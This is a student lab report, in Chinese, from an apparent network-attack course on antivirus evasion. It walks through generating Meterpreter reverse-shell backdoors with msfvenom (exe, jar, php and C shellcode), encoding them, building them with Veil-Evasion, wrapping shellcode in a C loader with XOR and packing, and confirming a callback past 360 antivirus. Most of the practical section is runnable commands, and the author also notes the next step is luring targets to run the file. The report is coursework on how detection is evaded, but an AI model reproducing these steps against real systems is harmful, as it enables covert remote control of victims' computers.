20155312 张竞予 Exp3 免杀原理与实践
Exp3 免杀原理与实践
目录
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 特征码:经过对许多恶意代码的分析,我们发现了恶意代码所共有的一段代码,我们把它看成特征码,那么只要是带有这段特征码的就视为病毒;
- 启发式恶意软件检测:就是如果一个程序在做恶意代码通常做的事,那就把它当做恶意代码;
- 基于行为的恶意软件检测:是一种启发式恶意软件检测。
(2)免杀是做什么?
就是利用一些手段伪装我们的后门文件,最终达到其潜伏在被控主机中且不被被控主机中的杀毒软件检测出来。
(3)免杀的基本方法有哪些?
- msfvenom编码
- veil-evasion
- C+shellcode
- 加壳
- 异或等运算变换
实践过程记录
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(1)正确使用msf编码器
- 把实验二中生成的后门程序改名为“zjy_backdoor.exe”后放到virscan网站中扫描结果如下:
- 用VirusTotal扫描后结果如下:
可见不加任何处理的后门程序能够被绝大多数杀毒软件识别,那么我们尝试用msf编码器对后门程序进行一次到多次的编码,看看是否对免杀有所作用。
- 一次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe
- "-e"即编码
- 十次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe
- "-i"指定编码个数
编码十次后生成的可执行文件如下所示:
将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:
可见,编码对免杀没有太大效果,原因在于msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
(2)msfvenom生成jar文件
- 生成Java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar
生成的文件如下:
(3)msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php
生成的文件如下:
(4)msfvenom生成shellcode
- 生成shellcode使用命令:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.217.128 lport=443 -f c
生成的shellcode如下:
【其他更多文件可以参考狄惟佳同学的博客】
(5)veil-evasion
1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:
- 首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示:
- 第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:
- 接着进入系统设置中的共享设置,如下图所示:
- 最后修改共享中的计算机名称,完成如下图所示:
2.第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil
;接着进入veil-evasion,在veil中输入命令:use evasion
,如下图所示:
3.输入命令:use python/meterpreter/rev_tcp.py
用python语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):
4.设置反弹连接IP,命令为:set LHOST 192.168.217.130
,注意此处的IP是KaliIP;
5.设置端口,命令为:set LPORT 5312
6.输入generate
生成文件,接着输入你想要playload的名字:playload5312
7.选择第一种默认方式生成:1
8.生成失败(如下图),换个方式重试,依次输入如下命令:veil
->use evasion
->list
->use 28
->set LHOST ……
->set LPORT ……
->generate
->【输入名称】
->1
尝试后同样不可以,如下图所示:
9.这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,例如“c”试一下,就是把use 28
改成use 7
,或在第一种方法中把use python/meterpreter/rev_tcp.py
改成use c/meterpreter/rev_tcp.py
,其他步骤完全相同,最终成功的样子是这样滴:
10.去/var/lib/veil/output/compiled/playload5312.exe这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5312.exe ~/zjy
把这个文件复制到我们熟悉的路径下就可以啦~
11.最终用virscan工具查下试试,有没有起到免杀的效果,结果如下,10/39查出:
(6)C语言调用Shellcode版本
1.首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.130 LPORT=5312 -f c
用c语言生成一段shellcode;
2.创建一个文件20155312.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
乖巧的听从老师指示,不能粘c代码,此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
3.使用命令:i686-w64-mingw32-g++ 20155312.c -o 20155312.exe
编译这个.c文件为可执行文件:
4.在扫描软件上看看,有没有免杀,9/39有点作用:
二、通过组合应用各种技术实现恶意代码免杀
先尝试只对shellcode进行加壳,扫描结果为8/39:
利用C语言调用Shellcode+异或+加壳实现了免杀,杀软扫描结果如下:
工具检测结果如下:5/39,还是有五个可以检测出来的。
三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
杀软名称:360,版本:11(11.0.0.2001)
用电脑实测回连成功截图如下:
离实战还缺些什么技术或步骤?
感觉自己现在也只是会参考其他同学的博客,看看别人怎么实现了免杀自己再按照那个方向试试,但是缺乏自己的想法,真正的实战肯定是要啃难啃的骨头,别热嚼碎了的东西肯定是没有太大价值的,我觉得自己要是想真正具备上战场的能力,还是要多查询资料,多动脑。
此外,虽然程序能够实现免杀,但如何让被控主机运行它也是一个问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习,我觉得这也是自己离实战缺乏的技术。
实验总结与体会
通过本次实验,我了解到了免杀的概念、免杀的方法,熟练掌握了使用 VirusTotal、Virscan这些工具的方法,能够有条理、有目的的对后门动手实现一些免杀的处理,再一次温习了实验二中主机之间监听、控制的操作,加深了印象,总之,经过这次实练自己的动手能力和对知识的理解程度有了一定的提升。
20155312 张竞予 Exp3 免杀原理与实践的更多相关文章
- 20155325 Exp3 免杀原理与实践
基础问题回答 杀软是如何检测出恶意代码的? 1.1 基于特征码的检测 1.1.1 特征库举例-Snort 1.2 启发式恶意软件检测 1.3 基于行为的恶意软件检测 免杀是做什么? 一般是对恶意软件做 ...
- 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
- 20155331 Exp3 免杀原理与实践
20155331 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.基于特征码的检测,2.启发式恶意软件检测,3.基于行为的恶意软件检测. 免杀是做什么? 让病毒不被杀毒软件杀 ...
- 2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165212 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- Exp3 免杀原理与实践 20164321 王君陶
Exp3 免杀原理与实践 20164321 王君陶 1实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分), ...
- 20155327李百乾 Exp3 免杀原理与实践
20155327李百乾 Exp3 免杀原理与实践 实践guocheng 一.Msfvenom使用编码器 1.利用(virustota)[https://www.virustotal.com/]检测实验 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
随机推荐
- “帮你”APP——NABCD需求分析
1.你的创意解决了用户的什么需求?(N) 本学校已存在的失物招领.表白墙.二手市场等QQ群普遍存在信息冗杂,时效性差等缺点.不能充分发挥信息有效性的,我们的“帮你”APP能够充分发挥信息的有效性,让失 ...
- html5 Sortable.js 拖拽排序源码分析
最近公司项目经常用到一个拖拽 Sortable.js插件,所以有空的时候看了 Sortable.js 源码,总共1300多行这样,写的挺完美的. 本帖属于原创,转载请出名出处. 官网http:// ...
- CAtia_打开提示:许可证过期怎么办
CAtia_许可证过期怎么办:进计算机管理,点开服务和应用程序,点服务,找到DS License Server,在启动此服务的地方点启动,从而开启DS License Server.
- 3.Telnet探测端口后怎么退出
使用 'Ctrl' + ' ] ' 一起按退出
- 关于 early Z 与 z-prepass
今天在考虑优化MOBA项目中的树木时(采用了ALPHATEST)时,与同事讨论中深入了解了这两个概念. 以前居然不知道有early z的存在,真是惭愧.... 上个链接: 深入剖析GPU Early ...
- 关于MVC工厂模式的增删改查sql存储过程
这里MVC中用到了反射,工厂,泛型,接口 在搭建框架的时候,除了MVC的三层以外,还有泛型的接口层和工厂层 下面是dal层调用sql存储过程,增删改查,dal层继承了接口层,实现了接口层里面的方法 1 ...
- Interpreting the genomic landscape of speciation: a road map for finding barriers to gene flow
1.摘要 物种形成是种群间生殖隔离的进化过程,是连续的.复杂的,涉及多个相互作用的屏障.在完成之前,这一过程的影响会随着基因组的不同而变化,并可能导致具有分化和分化波峰和波谷的异质性基因组景观.当基因 ...
- 【题解二连发】Construct Binary Tree from Inorder and Postorder Traversal & Construct Binary Tree from Preorder and Inorder Traversal
LeetCode 原题链接 Construct Binary Tree from Inorder and Postorder Traversal - LeetCode Construct Binary ...
- hibernate NUMBER 精度
通过Hibernate映射实体时会根据数据库中NUMBER类型的精度,生成相应的POJO类中相对应的主键类型.经过亲测结果如下: NUMBER(1) POJO类中生成的是Boolean publicc ...
- His表(简化)
门诊登记,门诊结算,门诊处方,住院登记,住院结算,住院处方,转诊登记,人员表,行政区划,登录日志,菜单,疾病,药品,诊疗,数据字典,机构,科室等